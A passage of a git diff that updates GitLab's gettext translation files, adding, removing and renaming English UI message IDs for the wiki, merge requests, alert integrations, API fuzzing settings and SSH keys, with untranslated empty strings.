+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index 32c73edd07b..6618e2fb2d3 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
